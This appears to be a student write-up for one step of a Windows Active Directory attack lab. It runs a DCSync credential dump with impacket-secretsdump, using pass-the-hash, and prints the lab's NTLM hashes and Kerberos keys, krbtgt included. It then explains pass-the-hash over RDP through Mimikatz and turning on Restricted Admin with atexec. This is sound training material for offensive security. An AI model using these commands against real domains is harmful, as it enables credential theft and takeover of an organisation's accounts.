

Windows Attack Lab - Step 11 - Abusing Domain Admin

Author

- Knöpfel, Daniel
- Duijts, Michael

Methodology

With a Domain Admin's credentials it's possible to sync the whole Active Directory to get all user (at least their NTLM hashes).

```
(hacker@kali)-[~]
$ impacket-secretsdump -hashes :e4817e3c667f5df2b2b0dc37ca25f9 -just-dc-user tmassie ffast@10.0.1.100
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uuid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
winattacklab.local\tmassie:1131:aad3b435b51404eeaad3b435b51404ee:8cf0345c0d74a3efeb598489493cf47b:::
[*] Kerberos keys grabbed
winattacklab.local\tmassie:aes256-cts-hmac-sha1-96:070c78478f60c887b8b702160660ecb946d7b08386c9267c551487237068bc24
winattacklab.local\tmassie:aes128-cts-hmac-sha1-96:1b30035bc95fdebbaa48c3b7315a93fb
winattacklab.local\tmassie:des-cbc-md5:6db5bcb6378c8637
[*] Cleaning up...

(hacker@kali)-[~]
$ impacket-secretsdump -hashes :e4817e3c667f5df2b2b0dc37ca25f9 -just-dc ffast@10.0.1.100
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uuid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
lab_admin:500:aad3b435b51404eeaad3b435b51404ee:7da73626d8510ec6a979f6d59c5452f4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3a84cafcbcb1085c0084f4697cf2991ba:::
winattacklab.local\asandler:1103:aad3b435b51404eeaad3b435b51404ee:22a175d3261c8b6a7e5eb760ad4df8d1:::
winattacklab.local\aford:1104:aad3b435b51404eeaad3b435b51404ee:22a175d3261c8b6a7e5eb760ad4df8d1:::
winattacklab.local\awinehouse:1105:aad3b435b51404eeaad3b435b51404ee:22a175d3261c8b6a7e5eb760ad4df8d1:::
winattacklab.local\abutcher:1106:aad3b435b51404eeaad3b435b51404ee:22a175d3261c8b6a7e5eb760ad4df8d1:::
winattacklab.local\alfort:1107:aad3b435b51404eeaad3b435b51404ee:9859340265d3b3c1eb628ece70ebc238:::
winattacklab.local\amaker:1108:aad3b435b51404eeaad3b435b51404ee:22a175d3261c8b6a7e5eb760ad4df8d1:::
winattacklab.local\ayres:1109:aad3b435b51404eeaad3b435b51404ee:22a175d3261c8b6a7e5eb760ad4df8d1:::
winattacklab.local\abalcombe:1110:aad3b435b51404eeaad3b435b51404ee:22a175d3261c8b6a7e5eb760ad4df8d1:::
winattacklab.local\abalfour:1111:aad3b435b51404eeaad3b435b51404ee:22a175d3261c8b6a7e5eb760ad4df8d1:::
winattacklab.local\broke:1112:aad3b435b51404eeaad3b435b51404ee:22a175d3261c8b6a7e5eb760ad4df8d1:::
```

Answers

- What can we do with the hash retrieved from the domain controller using DCSync?
 - Use those hashes to login as other users (again with pass-the-hash)
- What otherwise legitimate activity are we abusing when we perform a DCSync attack?
 - This sync is usually used between multiple Domain Controller and is a legit task
- What kind of privileges are required to perform this attack?
 - A Domain Admin is required
- How can Mimikatz make the RDP client use Ffast's credentials, without knowing the plaintext password?
 - Mimikatz injects the NTLM hash into memory
 - RDP client can then directly use the hash without prompting for a password (keyword "using windows credentials")
- Why was it still not possible to log in to the domain controller using RDP and the NTLM hash of Ffast?
 - Restricted Admin was not activated. Because of this only cleartext passwords are accepted.

- Restricted Admin is security feature to prevent a interactive logon and therefore no NTLM hashes will be stored on the remote client
 - But activating this allows then pass-the-hash
- How did we bypass this RDP security feature?
 - Executing a Powershell command via `atexec` to activate Restricted Admin